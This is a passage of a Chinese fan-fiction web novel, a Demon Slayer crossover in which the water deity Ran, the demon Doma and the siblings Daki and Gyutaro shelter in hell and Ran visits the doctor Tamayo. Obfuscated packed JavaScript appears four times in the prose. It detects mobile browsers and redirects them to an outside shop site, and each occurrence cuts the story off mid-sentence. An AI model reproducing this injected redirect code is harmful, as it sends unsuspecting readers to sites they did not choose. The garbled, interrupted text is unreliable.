但室内居然收拾的相当整洁,甚至破掉的拉门都被修补好了,连榻榻米都擦的干干净净。当看到认真干活的妓夫太郎,我感觉自己的嘴角又开始抽搐。 童磨慢悠悠的摇着扇子走了进来,我过去一把拽住他就走。 到了院子里我才放开他,鬼一脸无辜的看着我。 “小染不喜欢吗?我们可是收拾了好久呢,连人家都有努力帮忙来着。” “童磨大人,你这是在干什么呢?打算在地狱里安家落户吗?”我实在不知道这鬼的脑子里装了些什么,“这里可是地狱啊,这房子是什么来历?附近有没有活动的魔兽或者其他东西?这么诡异的地方,如果只有我们两个也就罢了,你还打算让那对兄妹也住在这里吗?万一有危险怎么办?极乐寺的教训你还没吃够?” “那种事情小染就不用担心啦!我都已经检查过了,只是一座空房子而已哦。”童磨轻轻松松的坐在了檐廊下,“现在还不知道‘门’什么时候会开,反正等着也是等着,干嘛要一直风餐露宿?况且就算真有问题,我们本来的目的也是引诱对方上钩嘛,不先下饵怎么行?” 唉,还真是思路奇葩的鬼。 “所以是要故意做出懈怠的样子吗?可真有你的。”我走过去坐在他身边,面前是一片荒芜的庭院,中间似乎是个早已干涸的池塘,“这又是你以前对付那个什么鬼杀队得到的经验?” “做鬼又不光要对付鬼杀队,人类是最好应付的了。”童磨懒洋洋的说,“鬼是永远在彼此争斗和吞噬的存在,我最开始也不是上弦,又不像黑死牟大人或者猗窝座阁下那样从人类时就精于武道,不管觅食还是抢地盘,都是要动脑子的哟~幸好我名下还有个教会,总有信徒愿意去极乐,还不至于饿肚子,呵呵。” “听起来像是狼群,或者什么集群的动物一样。”我说,“你们那位无惨大人也真是离奇,除了赐予鬼血,别的什么都不管吗?” “诶呀,怎么可以这样说无惨大人?”童磨用扇子掩着脸,笑了起来,“他可是一位非常严格的人呢,基本每次开会时都要清理掉没用的下级, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252305|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有好几次他心情不好,几乎把下弦们全部淘汰了呢。啊,那段时间真是悲惨到不堪回首,工作量剧增啊~害我经常饭都吃不完就要去干活~” “童磨大人也是很厉害的人呢。”我看着那只东倒西歪的好像没骨头的鬼,实在忍不住笑意,“好像不论多么悲惨或者恐怖的事情,从你嘴里说出来,都会变得特别好笑,跟你在一起真的很开心呢。“ “那当然,人家可是个温柔又善良的人,所以在上弦里也是相当受大家欢迎的哦。”鬼洋洋得意的说,“所以小染能遇到我,一定觉得很幸福吧~” “没错,是相当幸福呢。”我跳下檐廊,“作为报答,我也为童磨大人的新房子出点力气好了。” 我走到庭院中,双手交握在一起,回旋如风的青蓝色灵光浮现在半空中。 这咒语得有几百年没用了,也不知道还灵不灵? “沧龙·万物甦生。” 仿佛一层水幕的灵光从空中缓缓降落到干枯的大地上,一瞬间荡开了多重波纹。死去的植物根部开始泛起水汽,池塘中漫溢出清水,大地泛起青绿,新生的嫩芽开始迅速生长,噼啪作响着抽出细长的枝条,又在顷刻间绽出花苞,不多时便长成了各种见所未见的奇花异草,如同在灰色的空间中铺开了一匹绘着春天的、闪闪发光的锦缎。虽然看起来略有些杂乱,但已然是一座像模像样的花园了。 “呼。看样子还可以,老本行没有忘。”我拍了拍手,“就是没有种子,种不了你喜欢的莲花,你就凑合在池塘里放点冰莲花算了。” 身后一片安静。我回过头,竟然看到那只鬼的脸上一片怔忡,连那双琉璃色的眼睛都睁大了。 “你没事吧?”我伸手在他眼前晃了晃。 童磨吸了口气,脸颊竟然微微有些发红。 呃,第一次见他这样,这是引起了什么奇怪的反应吗? “哇啊,这是什么啊…小染?”他的语气有点奇怪,就好像不知道该选择哪种情绪一样。 “诶?之前没给你看过?也难怪,在业火之界因为没有水,所以很多年没用过了。”我回到檐廊坐下,“我是荒川的水神,但也是山林草木之神,这算是我的附加技能吧,在人世时其实不太能用上,因为江户的四季很分明,附近的植物不需要我操心。也是因为这片地方水的力量充足,可以供我调用,所以送你个花园还是可以做到的。” “这是送我的吗?小染送给我的?”鬼惊讶的指着自己。 “是啊,送给童磨大人的。认识了这么久,我还没送过你礼物吧,实在也是没有能拿得出手的东西。”我笑道,“再说童磨大人什么好东西没见过?我这点小把戏做出的东西,哪有你的极乐寺莲池……” “我很喜欢呢。” 倏忽间,童磨那双寂静的、仿佛冰晶一般的眼睛里,亮起了某种我从未见过的微光。那一刻他没有笑,也没有任何表情,那种光却似乎穿透了什么厚重的、百年未变的东西。 “小染的礼物,我很喜欢呢。”他又重复了一遍,似乎努力想要理解什么似的,“应该是‘喜欢’的感觉对吧?心脏好像都跳的更快了呢!” 一个大大的笑容缓缓出现在他脸上。 “竟然会在地狱里收到礼物,下地狱真是太棒了啊!”鬼的语气里全是兴奋,“呐呐,小染,要不要就跟我住在地狱里算了?这样好像也不错啊!” ……不愧是你啊,神一样的脑回路! “不可以就此止步哦,童磨大人。”我一本正经的说,“我说过,世上还有很多可看的风景,所以不可以偷懒哟,要坚持走下去,才能看到比这更美的景色。” “如果不偷懒,小染有什么奖励给人家吗?”童磨笑的像只千年狐狸,眼睛都眯成了两弯月亮,“说说看,如果能让人家感兴趣的话,就满足你的心愿哟~” “诶?”我反应过来,“不对啊,我是作为朋友在帮你,为什么还要给你奖励?讲点道理好不好啊童磨大人?” 他一脸纯洁无辜:“你什么时候听说鬼会讲道理?快点想,没有奖励的话人家不会跟你走哦~” “……” 我默默想了想,自己仅剩的财产,大概就一座破破烂烂的神社了。 有生以来第一次感觉自己是个贫穷的神灵。 奖励什么的,还真是个问题啊。 29. 食人之鬼与斩鬼之人(9) 谢花梅见到我随手搞出来的花园后的反应比我想象的还夸张,让我不禁怀疑这群鬼生前过的都是什么糟心日子,连花都没见过? 然后就被小梅嘲笑了:“神明大人也有不知道的事吗?鬼是见不得阳光的,很多花夜里又是不开的,所以最多看看插花和盆景。而且夜里那点时间吃饭和工作还来不及,哪有工夫出去赏花?” “我要在池塘里养鱼。”她考虑了一会儿,郑重其事的说,“锦鲤就可以,以前在吉原时有人送过我一大群呢,唉,我想念我的鱼了。” 我不得不提醒她:“这里是地狱,没有鲤鱼,你烤的那种倒是可以。” 童磨歪在一边,似乎终于听出来不对劲,连忙插话:“小堕姬,那是我的池塘哦,小染送给我的。” “童磨大人也太小气了,哥哥可是帮忙把这么破的房子都修好了呢。”小梅不高兴的噘嘴,“这些花花草草留给你好了,池塘归我。” 童磨微笑:“花园也是我的。” 我感觉有点头疼,只能对小梅说:“你好好练习我教你的隐藏办法,以后我送你个更大的池塘。” “真的?”少女跳了起来,“神明大人不许说话不算话!我会找你要债的!我哥哥以前可是收债人!” “我说话向来算话。”我说,“前提是你把我教的东西练好,然后乖乖从这里出去,不要像某些人一样总想偷懒。“ “你真的能让我们出去吗?“小梅疑惑的说,“毕竟我们可是鬼啊,杀过人的鬼。” “但你们已经死过一次了吧。”我摊摊手,“我觉得没有什么罪孽是死亡不能偿还的,况且人类也一样会杀人啊。关键在于找到自己丢失的东西,学会自己曾经没有学会的,万物生灵都是如此一点点成长的。再说,既然人类杀人和杀其他动物不用下地狱,鬼为什么就一定要在地狱里受苦呢?” “对哦,小染说的很对!” 童磨在一旁适时的添油加醋,“所以小堕姬不要总是用过去的眼光看我,人家是会伤心的哦,明明都已经很久不吃女孩子啦~” 小梅翻了个白眼,妓夫太郎全程沉默。 童磨大人还真是一如既往的受欢迎呢… 大概是终于有了努力目标,小梅开始每天拽着我去陪她捉迷藏。通常的玩法是轮流藏好让对方找,渐渐的她开始能捕捉我的“气味”,用她的话说,花魁们日常用的上百种香料水粉她都能分出区别,在林子里寻找我身上那种特殊的香味对她来说不算难事。 于是我决定提高一点教学难度。 这天我将她带进了一片之前没有进入过的树林,如果我没有猜错的话,这片树林里应该潜伏着至少两只魔兽,但都在我能应付的范围内。 妓夫太郎将这孩子保护的太好,这样做的好处是她骄傲又自信,但坏处也很明显,就是她对突发的情况往往六神无主,完全不知如何应对,急了就只会喊哥哥。但在地狱里,突发情况才是正常情况,她必须亲身认识到这一点。 进入林子深处后,我说:“这里现在除了我以外,至少存在一种以上不同的气息,试试看能不能分辨出来。” 小梅皱着眉感觉了一会儿,向着某个方向看去,“在那边有种奇怪的味道呢,像是什么东西烂掉了…但还有一种,像是草药或者什么的气息,我不知道。” “那我们先找第一种。你边找边跟紧我,如果我对你说藏好,就要用我教你的办法尽量躲到树上,记住了吗?” “别看不起人了,”女孩撇嘴,“我之前怎么说也是上弦,不用总是躲躲藏藏的。” “你不是上弦,你哥哥才是。” 我不得不提醒她。她瞪了我一眼,没有说话。 我们向着她所说的方向走去,林子里的光线渐渐昏暗下去,地面上却重新出现了一些叫不出名字的发光植物,小梅被那些亮闪闪的叶片和花朵吸引的移不开目光,我不得不好几次把她拉走。 “你过去打架时也这么不专心吗?”我无奈的说。 她果然急了,“才没有呢!我战斗时可是很认真的!要说不专心,童磨大人才是真的不专心呢,不管对付谁都像在玩一样拖好久,无惨大人因为这个把他的头都打掉过好几次,最后干脆连骂都懒得骂他了,我和哥哥只能替他多干活,真是气死我了。” “你们…那位无惨大人,没事就喜欢打掉别人的头吗?”我无语,“那你们为什么还要跟着他啊?” 小梅像看傻子一样看我,“童磨没有告诉过你吗?鬼是无法反抗无惨大人的,因为鬼的体内都有无惨大人的血液和细胞,只要他动动手指,不管上弦还是下弦都会全身爆裂而死,根本就来不及反抗。” 我皱眉,“那他还真是挺讨厌的。” 说着说着,小梅突然停住了脚步。 “那个气味在快速接近我们。”她眼中流露出厌恶之色,“好难闻,以后不要再让我闻这种恶心的东西啊!” 我把她推到一边,拔刀的瞬间就看到一道巨大的黑影从头顶扑了下来。 侧身躲过一击,我看着地上那只甩着尾巴冲我嘶吼的怪物,感到了一丝不适。 这种后半身看起来像蜥蜴,却长着人的头颅和脖子的生物到底是什么啊啊啊! 魔物睁着浑浊一片的白眼球,冲我张了张嘴,发出一串模糊的音节,然后一个弹跳就窜了上来。 我挥刀快速进行了四次斩击,但刀刃切入它身体的一刻我就后悔了。 从断口喷涌而出的不是魔物常有的□□,而是一团团荧绿色的死灵。 “小梅!躲起来!“我厉声道。 这是死灵寄生在人类的灵体上所形成的怪物。怪物本身并不强大,但由于死灵相当难处理,必须认真对待。 还好数量不是很多。 我侧了侧刀身,青蓝色的灵光沿着狭长的刀刃流淌,瞬间凝结成无数水滴,左手则腾起幽蓝色的光炎,在挥刀的瞬间顺着刀身轻轻一抹,被附加了净化之力的水珠就化作一大簇细小的水箭,高速射了出去。 “沧龙·疾雨!” 被万千水箭射中的怪物发出一声奇怪的呻吟,倒在地上不动了,空中缓缓飘散下一些幽绿色的死灵碎片,还未到达地面就已经消散。 很好,果然要向童磨大人学习创新精神,这新的杀招效果很不错嘛! 还未来得及开心,背后又传来同样的腥臭味道,我敏捷的跃上树枝,看到又一只同样的怪物尖叫一声,朝我扑了上来。 结伴狩猎吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252306|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真是罕见。但对于低等的、没有自主意识的魔物而言,也不失为一种好办法。 这次我在刀身上灌注了一个封印法术,凌空跳下将刀直接插进了魔物的核心。那人面的怪物张大嘴发出无声的哀嚎,缓缓化为了绿色的尘埃。 诡异的是,那东西早已混沌的眼中,却流下了两行眼泪。 人类的灵吗?还有意识? 我暗暗叹了口气。对藏在树上的小梅说:“下来吧,这次躲的很不错。” 小梅却没吭声。 我感觉不对,忙跳到她跟前,发现女孩洁白的小腿上留下了一片烫伤似的痕迹。小梅痛的死死咬牙,却一点声音都没发出。 惨了,我怕是要被妓夫太郎直接砍死。 死灵这种东西就像是某种含有强酸的生物,活着时会寄生在灵体上,一旦破掉就会四散开来,在灵体上造成仿佛灼伤的伤口,这个伤口一定是我刚刚挥刀时斩碎的死灵造成的,如果是我或者童磨的话,可能瞬间就能恢复,但小梅现在是人类。 我心里很是后悔自己的不小心,两百年来一直都是一个人单打独斗,没有顾及队友的习惯,遇到童磨后也因为他实在过于强悍,战斗时和我配合的也很默契,因此从来都没考虑过身边的人也会受伤这件事。 但我只能冷静的对她说,“别怕,这个已经死掉了,不会寄生在你身上,我用灵力帮你净化下,但会有点痛,忍一下哦。” 我用左手的灵光轻轻抚过伤口,女孩漂亮的眼睛里一下有了泪花,她扭过头去,攥着拳头不肯看我。 “对不起,让小梅受伤了。”我内疚的说,“回去我抓鱼给你好不好?” 她从牙缝里嘶嘶吐气,那语气好像要把我给吃了:“谁…谁要你的破鱼…?你…你可欠我一个池塘呢!” 我只能说:“我记着呢……那个,痛的话哭出来也没关系哦。” “哭…哭个屁…”这漂亮女孩居然骂了脏话,“哭有什么用啊?我以后再也…再也不要哭了!” 灵力只能净化掉死灵的污浊,对伤口的恢复效果实在一般,我正想着把她带回去看看童磨有没有什么办法,树下突然传来一个柔和的女声。 “请问…有没有妾身可以帮忙的?” 我瞬间拔刀转身,却看到树下站着一位女子,看上去非常年轻,有一张美丽而略带忧郁的面容,好像淡紫色薄雾般的眼睛正一眨不眨的望着我们,身上穿的是带有团花和植物的和服。 是那天紫雾中的那个女人。 见我没有回答,她微微一笑:“妾身正巧是位医者,路过此处,差一点被怪物所伤,多亏小姐您斩杀了怪物,妾身也因此得救。令妹的腿伤,妾身正好有些药物可用,能否请你们随妾身回去治疗?放心,妾身是医者,绝不会伤害你们。” 当下也没有更好的办法。我只好说,“那我妹妹就有劳阁下了。” 说罢我将后背转向小梅,她翻个白眼,“你干嘛?” “背你啊。”我说,“你现在又走不了路。” 她嗤了一声,但还是乖乖用双手抱住了我的脖子,贴着我的耳朵低声说:“你当心一点,这女人很可疑,身上有种奇怪的药味。“ 我点点头,带着她从树上跳下。 30. 食人之鬼与斩鬼之人(10) 跟着那名神秘的女子走了一会儿,就见到林中出现了一道紫色的雾障。她挥了挥手,雾气就向两侧散开,露出了一座朴素的小屋。 见我打量着那些紫色的雾气,那女子笑了笑:“这是屏障。妾身自己居住在此处,只有采集药草时才外出,也没有小姐您那样强大的战力,所以总要有一些保护自己的手段。” 我表示可以理解。以前我居住在业火之界时,也会用结界来掩饰住处的所在,但既然会使用类似结界的东西,就说明这名女子绝不是普通的人类。 进入小屋后,她将肩上的药篓放在门口,邀请我们一同进去。这是一间不足十坪的厅堂,均为木造,里面收拾的井井有条,墙边有一张矮桌,靠墙则是一排药柜似的东西。 看来死灵之森在无间的四大地狱里真是最舒适的了,我想,竟然还真有人在这里安家落户的? 我把小梅放在桌旁的草席上,自己也礼貌的跪坐下来。小梅扯了扯我的衣袖,可怜巴巴的说:“阿姐,我们什么时候能回去啊?我好害怕。” ……看不出啊,少女你居然还是个演技派?这演技是新跟童磨学的嘛? “不用怕哦,这里很安全。”那名女子边在药柜里翻找,边温柔的安慰道,“你腿上的伤需要处理一下,上了药就可以正常走路了,你总不想让你阿姐一直背着你吧?她也只是个年轻的女孩子呀。” 她从药柜里找出了几样东西,装在一只托盘里放在桌上,我注意到里面有我们之前见过的那种散发着蓝紫色光泽的植物叶片。女子将几样东西装在一只精致的玻璃小药钵里碾碎,边做这些边微笑道: “抱歉,没有茶水之类的招待你们。妾身名叫珠世,请问二位如何称呼?” “我是染。这是我妹妹小白。”我答道。 “二位看起来就感情很好的样子。”她轻叹道,“让我想起了以前和我一起生活的孩子呢。” 为什么一名女子会孤身生活在无间地狱里,而且生活还如同在人世一般,似乎完全没有受到这里的影响?我有太多疑问,但都不好说出口,只能试探着说道:“父母去世的早,家里只有我和妹妹相依为命。容我冒犯的问一句,阁下既然是医者,应当是救人无数的,又因为什么而来到此处呢?” 她研磨药物的纤细手指微微停顿了一下,缓缓答道,“妾身虽是医者,却也是罪孽深重之人,必须来此赎罪。但二位看起来只是普通的少女,为何也来了这关押罪大恶极之徒的无间地狱?” 我注意到了她桌上的念珠,看来确实是日常会诵经忏悔的。于是随口胡编道:“说来惭愧,我家中乃是神官世家,为了对付邪物才学了一些本领,像是符咒和法阵之类,但一次帮人驱邪失误,不慎打开了通往此处的门,我自己被卷了进来也就罢了,做我助手的妹妹也被牵连,所以我无论如何也要找到出去的路,至少要把我妹妹送回人世。” 小梅,不要那么震惊的看着我,论演技你还要差上一截!呵呵呵! 名为珠世的美丽女子将药草磨成粉状,又从一只玻璃管中取出一些不明的液体混在里面,调和成一种深棕色的药糊,小心的用某种植物叶片粘着覆盖在小梅受伤的腿上。 “好啦。等一会儿就可以恢复啦。” 她的笑容实在温柔,却总是带有一丝淡淡的哀愁。 之后她转向我,和善的笑道:“我看您的身手不像神官,倒像是剑士,挥刀的姿势非常漂亮呢!” “唔,的确如此。”我说,“祖上曾是战国时追随大名征战的武士,因此将战阵用的杀招融合在了祭舞里,造出了一套独特的破魔之法,到我这一代因为家中只有女孩子,所以才不得不学了一些皮毛,传承父业罢了。” “这种情况我也有所耳闻。”她点点头,“身为女孩子,却肩负斩鬼的使命,我也认识这样了不起的孩子呢。” 我默默觉得哪里不对劲,但又说不上来,只感觉小梅的手在背后狠狠掐了我一下。 死孩子,看我回去怎么收拾你。 但我想冒个险。 “斩鬼?”我做疑惑状,“容我问一句,世上真的存在那种东西吗?我家中虽也习练驱邪之法,但从未遇到过啊!” 珠世淡淡的说:“有啊。但现在应该没有了。有一群这世上最勇敢的人斩尽了恶鬼,以后再也不会有人死于那种肮脏的存在手下了。” 嗯,果然很不对劲。 她的语气虽然平淡,却透出了刻骨的恨意。 “那真是我等普通人的幸事啊。”我由衷的赞叹道。 小梅突然抓住我的衣袖,笑嘻嘻的说:“阿姐,我的腿一点也不痛了,我们可以回去了吗?” “诶?药效这么好吗?”我惊讶道,“你要好好谢谢这位珠世小姐!” 小梅咬了咬嘴唇,“多谢珠世小姐。” “不客气,小白小姐真是一位美丽可爱的女孩子,妾身很喜欢你呢。”珠世微笑道,“妾身在此处也没有几个朋友,如果二位不嫌弃我这里的冷清,可以常来做客。” 一番客气的道别后,我拉着小梅踏上了归途,珠世的药很有效,她的腿果然迅速恢复了,甚至连一点受伤的痕迹都没留下。 直到走出很远的距离后,小梅才突然说:“我想起来了,那女人是鬼。” “诶?”我愕然道,“等等,我一点也没感觉到她有鬼的气息啊,再说她既然是鬼,怎么又会提到斩鬼什么的?“ “你不懂啦,她是鬼里有名的背叛者,无惨大人找了她好多年,但一直没有抓住她。”小梅咬牙切齿的说,“还什么斩鬼…死都已经死了还要怎样!我要告诉哥哥去!” “既然对方怀有敌意,那我们小心一点就是了。”我说,“杀来杀去的都是前尘往事,该放下就放下吧,别忘了你和你哥哥最重要的是从这里出去,我们尽量不要惹麻烦。下次你不要跟我来了,但也没必要去告诉你哥哥。” “什么?你还要来找她?”小梅瞪大了眼睛,“你,你不要跟敌人跑了啊!我们才是你的朋友啊!” 我被她逗笑了,忍不住摸了摸她的头顶。 “我当然知道谁是我的朋友啦,是最可爱的小梅啊。放心啦,我不会跑的。” “哼,我才不管你呢。”她扭头不看我,“先说好,你要是被人抓了,我和哥哥可不会去救你。” 这别扭的小孩! 回去后我把小梅送回妓夫太郎那里,悄悄溜回了屋子里。进屋就看到童磨不知从哪里翻出个软垫子,歪歪扭扭的靠在檐廊下看着外面的花园。 这鬼一个人呆着的时候居然这么安静,甚至透出几分清冷的意味来。 我蹑手蹑脚的走到他身后想吓他一跳,因为突然很想看到前上弦之二、无所不能的童磨大人被吓一跳的样子。 “小染,不可以哦。”他头也没回,笑嘻嘻的开口,“从背后不出声就突然扑过来的,我会一概当成敌人杀掉哦。” 我泄了气,无聊的走到檐廊坐下。 “小染去了什么地方呢?”他饶有兴致的看着我,“身上有种很奇特的味道哦。” 我犹豫了一下,说,“我今天和小梅在林子深处遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“问题不在于你的谎话。”他很有耐心的解释道,“而是鬼对同类的气味会很敏感,甚至比对稀血的气味都要敏感。你的身体里毕竟有我的血,据我所知,珠世那女人一直在收集鬼血,用于设计专门针对鬼的毒药。所以她很可能已经在怀疑你的身份,甚至怀疑你和我的关系,但她应该没有见过神灵这种存在,因此你身上模糊的气息又让她无法确认你到底是人类,还是和我有关的下弦鬼。所以,”他摊摊手,“下次被问起的时候,小染就要把这个谎话说的再圆满一点啦。” 我神色复杂的看着他:“你果然希望我跟她接触吗?但除了离开这里的必要手段,我不想与任何人为敌,鬼和斩鬼人之间的冤仇,应该结束了啊。“ “小染,那句话还是你告诉我的哦。”童磨的眼神相当平静。 “仇恨如同可以累积的毒药,一旦代代相传,就没有停止的时候。虽然我不太能体会人类的这种情感,但这位珠世小姐,显然比我们更能理解这件事呢。” “再说,人家既然帮了忙,我们就应该给予回礼呐。”鬼勾起了嘴角,露出了尖牙上的冷光,“但小染务必要记住哦,无论什么时候,她给你的任何东西都不要吃,也不要碰哟。” 我第一次从他的语气中听到了认真的意味。 “好的,童磨大人。”我微笑道,“那么我就作为神官之后,也作为你的下弦,来会一会这位珠世小姐。” 31. 食人之鬼与斩鬼之人(11) 过了几天,我拿了两块之前攒下给童磨当零食的魔物晶核,又随便在花园里捡了几样长的格外怪异的花草,偷偷溜出了门。 这次我没有带上小梅。这孩子的定力不够,遇事很容易暴躁,此外我也不想将她卷进未知的危险里。 珠世为我打开作为屏障的紫色雾气时果然客气的问了一句:“令妹呢?这次怎么没一起来玩?” 我笑笑,将手里的一束花草递给她:“我特意来道谢的,就没带上她,小孩子坐不住,我可还想和珠世小姐好好聊聊天呢。我没有别的能拿出手的礼物,也不懂药理,就随意带了些花,不知其中有没有你能用上的?” 她接过那束花,柔和的笑道:“染小姐真是贴心,还带来了礼物啊。快请进来,路上没有碰到什么危险吧?“ 她的屋子中这次似乎点了某种香料,闻起来像是某种植物的味道。我若无其事的在矮桌旁坐下,看她把那些花放在了桌上,细细端详着。 “珠世小姐真是厉害啊,这里的植物我一样也不认识呢。”我说。 “不过是作为医生的本能罢了,还在人世时,妾身有幸拥有比他人更多的时间来研习医术和药理,即使来到地狱也没能改变呢。但染小姐带来的这些花,确实有些特别。” 她拿起其中的几株植物,说道:“这些应该是长在灵脉附近的花,需要大量的灵力滋养才能生长,地狱里这种地方并不常见,染小姐是从哪里找到的呢?“ 她竟然知晓这里的灵力系统?真是很不简单啊。 “是我先前追着一只魔兽进入了一处山谷后发现的,那里都是各种不认识的花,我看着好看就采回来一些。但容我问一句,”我盯着她,“珠世小姐是人类医生,为什么会知道这里有灵脉这件事呢?” 她淡紫色的美丽眼眸与我目光相交,很是坦然:“不瞒染小姐,妾身有几位熟识之人,在此间已经沦落了数百年,初来时曾仰仗他们的庇护,他们也教给了妾身很多关于此处的知识,但妾身一心只想赎罪,为惨死的夫君和幼子祈福,因此并没有打算加入他们。“ “虽然这话听起来有点奇怪,但您的夫君和孩子应该已经前往了彼岸,您也不必太过挂心。您为何不去与他们团聚,反而将自己困在此处呢?“ 我一边同情的劝慰,一边默默觉得自己这段时间真是得了某位教主的真传,怎么连说话都变得虚伪起来。 珠世并未回答,而是从旁边的一只茶壶中为我倒了一杯水,微笑道:“上次你们来时我连茶都没有准备,这次不能再那样失礼了,染小姐请喝茶。” 茶?我有点迷惑。 记得童磨说过不要吃她给的东西,茶…算吗? 没办法,在她殷切的目光下,我只能端起茶杯一饮而尽。 “好香啊。”我赞叹,“这是什么茶?地狱里还有这么香的花吗?“ 她微微一笑,“是一种我称为“雪蕨”的植物,在药理上和人世的紫藤花类似,我住处附近恰好有这些植物,采来泡茶后发现味道不错,染小姐喜欢吗?” “还好,”我品味一番,“就是太香了一点,我更偏爱抹茶。” “染小姐真是有趣呢。”珠世的笑容温和了许多,“像个男孩子一样爽快。” 我推测自己身上鬼血的气息在灵力的掩盖下应该非常微弱,珠世到底能察觉到多少尚属未知;其次她看我喝下奇怪的药茶而没有异常,怀疑应该多少减轻了点。 赌一把。 “父母去世的早,家里的神社都靠我打理,不坚强一点不行啊。”我极为自然的笑道,“毕竟妹妹还小,等回去了我还要给她找一户好人家。” “我日常也有接触符咒这类,但从未听说有人类能打开通往无间地狱的通路。”珠世边倒茶边缓缓说道,“这里只属于罪大恶极的鬼,染小姐会出现在这里,实在太过不合常理,所以我之前有所怀疑,您不会生气吧?” “我不怪您,这是因为您有所不知。此类术法传自平安时代的阴阳师,那时人世和地狱之间的分隔并没有那么清晰,有一套方法能使施法者穿梭两界之间,而我家的神社恰恰承袭了这套法门,这本来也是秘传之法,如果我回不去,大概就要失传啦。”我笑道,“但您也是人类啊,说明人类进入这里并不是什么稀罕事吧。” 珠世露出一丝苦涩的笑。 “如果我说我并非人类,染小姐会害怕吗?” 我噗嗤笑了出来:“不是人类?难道您是鬼?” “我的确是鬼。”她说。 “我没有见过鬼,珠世小姐。”我喝了一口杯中的茶,“但我从小在神社长大,因为眼睛有些特别,能看到常人看不到的东西。在我看来,即便真的有鬼,也不过是芸芸众生当中的一类罢了,并不可怕。” “染小姐这样说,是因为没有遇到过鬼,和那些被鬼夺走一切的人。”珠世垂下眼帘,“一夜之间便失去所有亲人的惨状,您大概无法体会。” “啊…那的确可以想象。”我点头,“如果我失去所爱之人,大概也会痛彻心扉吧。” “但我走的地方多,还见过很多别的事。譬如因为大名之间的争斗,而被焚烧所有收获、只能饿死的农民;因为不小心得罪权贵,而被逼夫妻一同自尽的商贩;被邻人下毒在井水里毒死了全家的少年;还有因为不想受到武士侮辱而反抗,反被活活烧死的女孩子。”我微笑着又喝了口茶,“在我看来,世上的诸多罪恶,鬼并非是源头,人心才是。” 珠世轻轻掩口一笑,“不愧是神官世家出身,染小姐竟然有如此超凡的想法。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252308|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这就像是在阴阳术中,邪物或许有法退治,人心之恶却无解。”我直视着面前的女子,“因此我不在乎珠世小姐是不是鬼,我只在乎您的心中有些什么。” “染小姐虽然见多识广,但到底不了解鬼这种存在。” 她的眼中像是有两团雾霭,什么也看不清。 “鬼这种生物是很难控制自己的杀欲和食欲的,心中即便有善念,也依然是背负无数人命的怪物,这一点无论如何也无法改变。”她轻声叹息。 “那么,假设鬼能控制杀欲,是否就可以与人类共处了呢?”我好奇道。 珠世抬起头看着我,笑道,“您这番话让我想起我一位故人,她的姐姐也曾说过类似的话,有过类似的希望。染小姐是个温柔的女孩子呢。” 她对我的戒备似乎减轻了一些:“作为一名医者,我在人世时,也曾花了多年研究使鬼变回人类的药物。” “哦?”我惊讶道,“还有这种药物吗?效果如何?” “从最后的结果来看,是有用的。”珠世露出了一个略带冷意的微笑,“它成功的消灭了我想要抹杀的那个存在。为了这个结果,即使和他共堕地狱,我也并不后悔。” “不说这些陈年旧事啦。”她的语气中带上了一丝歉意,“染小姐既然不知道这些事,还是永远不要知道比较好。是我不该冒昧的提起来。” “没关系呀,听起来很好玩。对了,这个送你。” 我将那两块晶石放在桌上,“这是我狩猎的魔兽身上的晶核,送你做药用。” 珠世颇有兴趣的拿起一块晶石,“染小姐的战力如此超群,真是令人惊叹,我还是第一次见到人类女孩子可以在无间地狱里狩猎魔物的。我有几位朋友,也许你们能聊得来。” “是您之前提到的,在这里呆了几百年的那几位朋友吗?” 我心中暗暗感到奇怪。地狱里的狩猎者一贯单打独斗,集群的很少,根本原因是这地方没有友谊,毕竟再坚固的羁绊也禁不住数百年在暗无天日之处求生的考验,你永远不知道背后那个人会不会在关键时刻给你一刀。 “是的,因为染小姐带着妹妹,两个女孩子终究不安全,在找到离开这里的方法前,或许可以寻求他们的保护。” “谢谢珠世小姐的关心,但事关我妹妹的安全,陌生的人我暂时还无法信赖。”我说,“如果能有幸先见一见您的朋友再决定就好了。” “没问题,我可以帮染小姐引荐。”她温柔的说。 于是约定了三天后在珠世家中见面,一同前往她朋友们的所在之处。我对她这些神秘的“朋友”很是好奇,但坏处是看来没法将小梅排除在外,毕竟我能看出,在我那随时可能出现漏洞的故事里,是“带着妹妹”这部分最能打动她。 32. 食人之鬼与斩鬼之人(12) 